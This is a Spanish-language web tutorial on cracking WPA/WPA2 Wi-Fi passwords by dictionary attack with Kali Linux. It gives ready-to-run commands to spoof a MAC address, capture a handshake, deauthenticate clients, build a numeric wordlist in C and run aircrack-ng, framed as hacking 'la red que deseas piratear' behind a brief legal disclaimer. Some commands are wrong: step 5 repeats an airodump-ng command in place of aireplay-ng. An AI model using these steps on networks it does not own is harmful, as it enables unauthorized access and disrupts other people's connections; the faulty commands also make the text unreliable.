Cómo hackear una red Wi-Fi (WPA/WPA2) a través de un ataque de diccionario con Kali Linux

Nota legal

La información en este sitio está destinada a ser utilizada con fines legales y éticos, como investigación, educación, periodismo y educación del público. Nuestra intención es cumplir con todas y cada una de las leyes aplicables.

En este tutorial, aprenderás cómo realizar un ataque de diccionario muy simple a una red Wi-Fi utilizando Aircrack en Kali Linux.

Que es un ataque de diccionario

Un ataque de diccionario es un método que consiste en penetrar en una computadora o servidor protegido por contraseña (en este caso, una red Wi-Fi) ingresando sistemáticamente cada palabra en un diccionario como contraseña.

De que trata y que no trata este tutorial?

Mágicamente no tendrás Wi-Fi gratis por el resto de tu vida, si eso es lo que estás buscando. Este es solo un tutorial con propósitos educativos que muestra cómo ejecutar ataques de diccionario a una red Wi-Fi normal fácilmente con Kali Linux y Aircrack. Debe saber que los ataques basados en diccionarios necesitan un buen diccionario; de lo contrario, este tipo de ataques generalmente no son efectivos, ya que no todos usan solo números como contraseñas y ese es precisamente uno de los objetivos de este artículo: puedes advertir a tus clientes, amigos, etc. que la contraseña de Wi-Fi es realmente débil y vergonzosa.

Requisitos

  • Necesitas, obviamente, Kali Linux (al menos 2016.2) instalado y funcionando.
  • Un adaptador inalámbrico capaz de trabajar en modo inyección/monitor. Algunas computadoras tienen tarjetas de red capaces de esto desde la fábrica. Si no está disponible tendrás que comprar una externa.
  • Una lista de palabras para intentar "descifrar" la contraseña una vez que ha sido capturada (si no tiene una, cree la suya propia en el paso 7)

Empecemos !

1. Verifica tu interfaz de red Wi-Fi

Como primer paso, debe verificar si tiene una tarjeta Wi-Fi disponible en su computadora que le permita continuar con el hackeo, para enumerar las interfaces mediante el comando ifconfig. ifconfig se utiliza para configurar o ver la configuración de una interfaz de red. Abre una nueva terminal y ejecuta el siguiente comando para enumerar todas las interfaces de red de su computadora:

ifconfig

Entonces deberías obtener una salida similar a:

Ifconfig Kali Linux Network Interfaces

wlan0 es el nombre de la primera interfaz de red inalámbrica en el sistema. Las interfaces inalámbricas adicionales se llamarían wlan1, wlan2, etc. El nombre es importante y usted debe recordarlo, en este caso solo tenemos 1 interfaz Wi-Fi, por lo tanto, usaremos el nombre de wlan0 en el siguiente paso.

2. Suplanta (spoof) la dirección MAC de la interfaz wlan

Ahora debe cambiar la dirección MAC de la interfaz de Wi-Fi para continuar con el pirateo, pero antes debe desactivar la interfaz si está (obviamente) activa. Utilice el comando ifconfig [nombre de la interfaz] down para dar de baja una interfaz. En este caso, como el nombre de nuestra interfaz es wlan0, el comando a ejecutar sería:

ifconfig wlan0 down

Una vez que la interfaz está inactiva, debe cambiar la dirección MAC de su dispositivo usando macchanger. Ejecute el siguiente comando para cambiar la dirección MAC de su interfaz:

macchanger -m 00:11:22:33:44:55 wlan0

Esta dirección MAC es conocida ya que siempre es falsificada. Después de la ejecución del comando, la dirección MAC anterior y la nueva se imprimirán como referencia:

Change macaddress Kali Linux

Ahora que la dirección MAC ha cambiado, vuelva a abrir la interfaz con el siguiente comando:

ifconfig wlan0 up

Puedes verificarlo usando ifconfig una vez más si quieres:

Ahora la dirección MAC ha sido suplantada (spoofed).

3. Configura la interfaz Wi-Fi en modo monitor

El modo Monitor es uno de los siete modos en que las tarjetas inalámbricas 802.11 pueden operar: Master (que actúa como un punto de acceso), Managed (cliente, también conocido como estación), Ad hoc, Mesh, Repeater, Promiscuous y Monitor. El modo de monitor rastrea los paquetes en el aire sin conectarse (asociarse) con ningún punto de acceso. Como este modo no necesita asociación con AP necesario (y sin autenticación).

Habilita el modo de monitor con el siguiente comando:

airmon-ng start wlan0

En caso de que obtenga una excepción, una advertencia o un mensaje que indique que algunos procesos podrían causar problemas durante la ejecución de este proceso, asegúrese de detener los procesos con el siguiente comando:

airmon-ng check kill

Luego ejecuta nuevamente airmon-ng start wlan0:

Desde la "tabla" generada por el comando anterior, ahora necesitas copiar el nombre de la interfaz en modo monitor, en este caso el nombre es wlan0mon. Este nombre será utilizado por el resto de los comandos que necesitan acceso a la interfaz.

4. Recuperar el handshake WPA

Necesitamos copiar el protocolo de enlace WPA del enrutador Wi-Fi para piratearlo (como se trata de un ataque de diccionario, si espera hasta que la señal llegue al enrutador, luego vuelva, falla y repite el proceso una y otra vez es muy improductivo ...) . Un apretón de manos (handshake) es básicamente un proceso automático de negociación entre dos entidades, generalmente su computadora y el servidor de red al que desea conectarse. Es el procedimiento que establece las configuraciones y los parámetros necesarios para hacer que el canal de comunicación se ejecute sin problemas, sin necesidad de establecer las especificaciones manualmente y todo lo demás, cada vez que conecte sistemas o máquinas heterogéneas.

Como primero, debe volcar todas las señales de Wi-Fi disponibles en el entorno. Para hacerlo vamos a utilizar airodump-ng que espera como primer parámetro el nombre de la interfaz en modo monitor. Ejecute el siguiente comando para imprimir las redes Wi-Fi:

airodump-ng wlan0mon

Este comando volcará una tabla con todas las redes Wi-Fi disponibles similares a:

#|BSSID             |PWR |Beacons | #Data | #/s |CH |MB   |ENC  |CIPHER |AUTH  | ESSID            |
#|C8:0E:14:03:B0:EA |-34 |38      | 0     | 0   |1  |54e. |WPA2 |CCMP   |PSK   | The network name |

De esta tabla debe copiar la información (la fila) sobre la red que deseas piratear en el bloc de notas, ya que necesitará esta información más adelante (canal-CH y BSSID).

Ahora copiemos el saludo WPA con airodump. El siguiente comando:

airodump-ng -c [channel] --bssid [BSSID] -w [path/to/folder/output] [interface-name-in-monitor-mode]

Copiará el protocolo de enlace WPA del módem que desee con los parámetros necesarios. Los argumentos de canal y BSSID se pueden recuperar del uso obtenido previamente airodump-ng wlan0mon. El wargumento debe ser la ruta de la carpeta en la que desea guardar el protocolo de enlace del módem, por último, el nombre de la interfaz en el modo de monitor (wlan0mon). Entonces, nuestro comando para ejecutar se vería como:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

Vamos a guardar los archivos en /root/hacking (esta carpeta debe crearse previamente), eres libre de guardarlos donde quieras, siempre y cuando recuerdes la ruta más adelante. Este proceso puede llevar varios minutos, en nuestro caso solo tomó 4 minutos, sin embargo, esto puede variar en cada red y dispositivo:

Tip

Para acelerar el proceso de obtención del Handshake WPA, puedes usar un dispositivo móvil u otra computadora que esté conectada a la red Wi-Fi. Simplemente apagua el Wi-Fi en tu dispositivo y enciéndelo nuevamente, esto debería acelerar el proceso.

Una vez que el proceso muestre el protocolo WPA, los archivos necesarios para iniciar el ataque del diccionario. Como se indica en nuestro comando de ejemplo, los archivos generados deben almacenarse en /root/hacking/:

El número de archivos puede variar en tu computadora.

5. Deautenticar con aireplay

Para capturar el protocolo de enlace WPA/WPA2, debemos forzar al cliente a que se vuelva a autenticar. Esto se puede lograr con aireplay, este ataque envía paquetes de disociación a uno o más clientes que actualmente están asociados con un punto de acceso particular.

El comando para hacerlo es:

aireplay-ng -0 [number-of-packages] -a [BSSID] [interface-name-in-monitor-mode]

El número recomendado de paquetes para este tipo de ataques es 10 (debes proporcionar el BSSID del módem y también el nombre de la interfaz del monitor). El comando para ejecutar deberia lucir así:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

Eso debería generar la siguiente salida (tenga en cuenta que en la imagen el BSSID es incorrecto, debería ser C8:0E:14:03:B0:EA):

6. Crea (o usa) un diccionario de contraseñas

Antes de continuar con el ataque, necesitas un diccionario de contraseñas. Este diccionario es básicamente un archivo de texto (filename.txt) con palabras que aircrack debería usar para acceder a la red, así que básicamente el siguiente texto es un diccionario de contraseñas (cada contraseña se divide por una nueva línea):

hello
possible_password1
possible_password2
hello123
ourcodeworld_password123
dummypassword321

Para fines educativos, ya que este es un lugar para aprender a escribir código, vamos a escribir algo de código en C. Cree un nuevo archivo en el área de trabajo (en nuestro caso /root/hacking) con el nombre passwords_generator y la extensión c (passwords_generator.c). Este archivo contendrá el siguiente código C que genera una secuencia numérica de 00000000 a 00009999 (un número para cada línea):

Importante

Cuanto más grande sea el número, se intentarán más combinaciones, por lo tanto, más tiempo tomará el proceso de prueba.

#include<stdio.h>

int main()
{
    int i;
    for (i = 0; i<= 9999;i++){
        printf("%08d\n",i);
    }
    return 0;
}

Esto deberia generar un archivo con contenido similar a:

00000001
00000002
00000003
00000004
...
00009999

Solo necesitas guardar el contenido anteriormente generado en un archivo que se utilizará como diccionario para nuestro ataque. Ejecute el siguiente comando para guardarlo en un archivo llamado passwords.txt (ten en cuenta que la ruta depende de ti, todavía estamos usando la misma ruta /root/hacking):

Nota

gcc es un compilador de C basado en * nix que generalmente se opera a través de la línea de comandos, por defecto está disponible en Kali Linux

# 1. Compile and send output
gcc /root/hacking/passwords_generator.c

# 2. Save output to file
./a.out >> /root/hacking/passwords.txt

El truco es que en este "diccionario de contraseñas" hay 9999 combinaciones posibles que se intentarán. Obviamente, si la red tiene una contraseña segura, no debería funcionar ninguna de las "contraseñas de números" generadas, por lo que si solo está probando, puedes agregar la contraseña de tu red Wi-Fi para probarla en el siguiente paso.

Tu diccionario es solo un archivo de texto en el que cada línea es una posible contraseña que aircrack intentará acceder a la red más adelante, para probar si aircrack realmente funciona, simplemente puede crear el passwords.txtarchivo con la contraseña de su red Wi-Fi. y en el siguiente paso, se debe otorgar el acceso a la red (también escribiremos nuestra propia contraseña para demostrar que funciona).

Obviamente, puedes utilizar una "base de datos de contraseñas" para probar con diferentes combinaciones. Echa un vistazo a esta pregunta en el Security Forum of Stack Exchange que ofrece muchas fuentes para comenzar con un diccionario de contraseñas si no quieres usar números simples.

7. Inicia el ataque de diccionario con Aircrack

Finalmente, comencemos nuestro ataque de diccionario usando el siguiente comando:

aircrack-ng -a2 -b [BSSID] -w [POSSIBLE_PASSWORDS_FILE.TXT] [PATH_TO_WPA_HANDSHAKE_FILES*.cap]

Debes proporcionar el BSSID, luego el argumento w que especifica el archivo txt con todas las contraseñas que debe intentar y luego la ruta a los archivos .cap generados mientras recuperamos el protocolo de enlace en el paso 5. Por ejemplo, reemplazando los valores con nuestros En ejemplos, el comando debería verse así:

aircrack-ng -a2 -b C8:0E:14:03:B0:EA -w /root/hacking/passwords.txt /root/hacking/*.cap

La ejecución del comando debe iniciar el ataque del diccionario e intentará acceder a la red con cada contraseña en nuestro diccionario. La duración del proceso variará de acuerdo con la cantidad de contraseñas en su diccionario.

Si la contraseña se encuentra en el diccionario (si se encuentra en el diccionario generado por nuestro código C, entonces fue una contraseña realmente mala ...) aparecerá el mensaje KEY FOUND.

Eso es todo, ¡acabas de aprender a realizar un ataque de diccionario a una red Wi-Fi usando Aircrack!

Resumen

Si ya seguiste el tutorial y lo harás de nuevo algún día, simplemente puede seguir este resumen que especifica los comandos a ejecutar. De esta manera, no tiene que seguir todos los pasos del tutorial y ahorrará algo de tiempo (como ya sabe cómo funciona y lo que hace cada comando, en teoría):

# Ejecutar ataque de diccionario a red Wi-Fi
# 
# https://es.ourcodeworld.com/articulos/leer/119/como-hackear-una-red-wi-fi-wpa-wpa2-a-traves-de-un-ataque-de-diccionario-con-kali-linux

# Listar interfaces (sh)
ifconfig

# Desactivar interfaz para cambiar dirección MAC
ifconfig wlan0 down

# Suplantar dirección MAC A 00:11:22:33:44:55
macchanger -m 00:11:22:33:44:55 wlan0

# Activar interfaz nuevamente :)
ifconfig wlan0 up

# Detener cualquier servicio relacionado a airmon
airmon-ng check kill

# Iniciar interfaz en modo de monitor
airmon-ng start wlan0

# Ahora de el paso anterior copia el nombre de la interfaz en modo monitor
# Ejemplo de salida del paso anterior:
# monitor mode vif enabled for [phy]wlan0 on [phy0]wlan0mon
# Name = wlan0mon

# Listar redes Wi-Fi disponibles
airodump-ng wlan0mon

# Esto deberia generar una tabla con información como la siguiente:

#|BSSID             |PWR |Beacons | #Data | #/s |CH |MB   |ENC  |CIPHER |AUTH  | ESSID            |
#|E0:98:61:47:BD:E2 |-34 |38      | 0     | 0   |1  |54e. |WPA2 |CCMP   |PSK   | The network name |

# Deberias ahora copiar esta información pues la necesarias para ejecutar los siguientes comandos

# Copiar handshake WPA con el siguiente comando
airodump-ng -c [channel] --bssid [BSSID] -w [path/to/folder/output] [interface-name-in-monitor-mode]
# Ejemplo: airodump-ng -c 1 --bssid E0:98:61:47:BD:E2 -w /root/hacking/ wlan0mon
# Nota: este proceso puede tomar mucho tiempo, asi que se paciente 
# Una vez que aparezca el siguiente mensaje:
# WPA Handshake [BSSID OF THE DEVICE, EXAMPLE E0:98:61:47:BD:E2]

# Puedes proceder con el siguiente paso y detener el comando actual pues este se ejecutará indefinidamente
# Los archivos .cap deberian estar ahora en [path/to/folder/output] 
 
# Inyectar marcos de a diez paquetes de autenticación
aireplay-ng -0 [number-of-packages] -a [BSSID] [interface-name-in-monitor-mode]
# Ejemplo: aireplay-ng -0 10 -a E0:98:61:47:BD:E2 wlan0mon

# Inicia el ataque de diccionario usando el WPA handshake que obtuvimos en pasos anteriores

aircrack-ng -a2 -b [BSSID] -w [path to dictionary] [path to .cap files of handshake]
# Ejemplo: aircrack-ng -a2 -b E0:98:61:47:BD:E2 -w /root/hacking/passwords.txt /root/hacking/*.cap

# Eso es todo!

Feliz hacking !

Esto podría ser de tu interes

Conviertete en un programador más sociable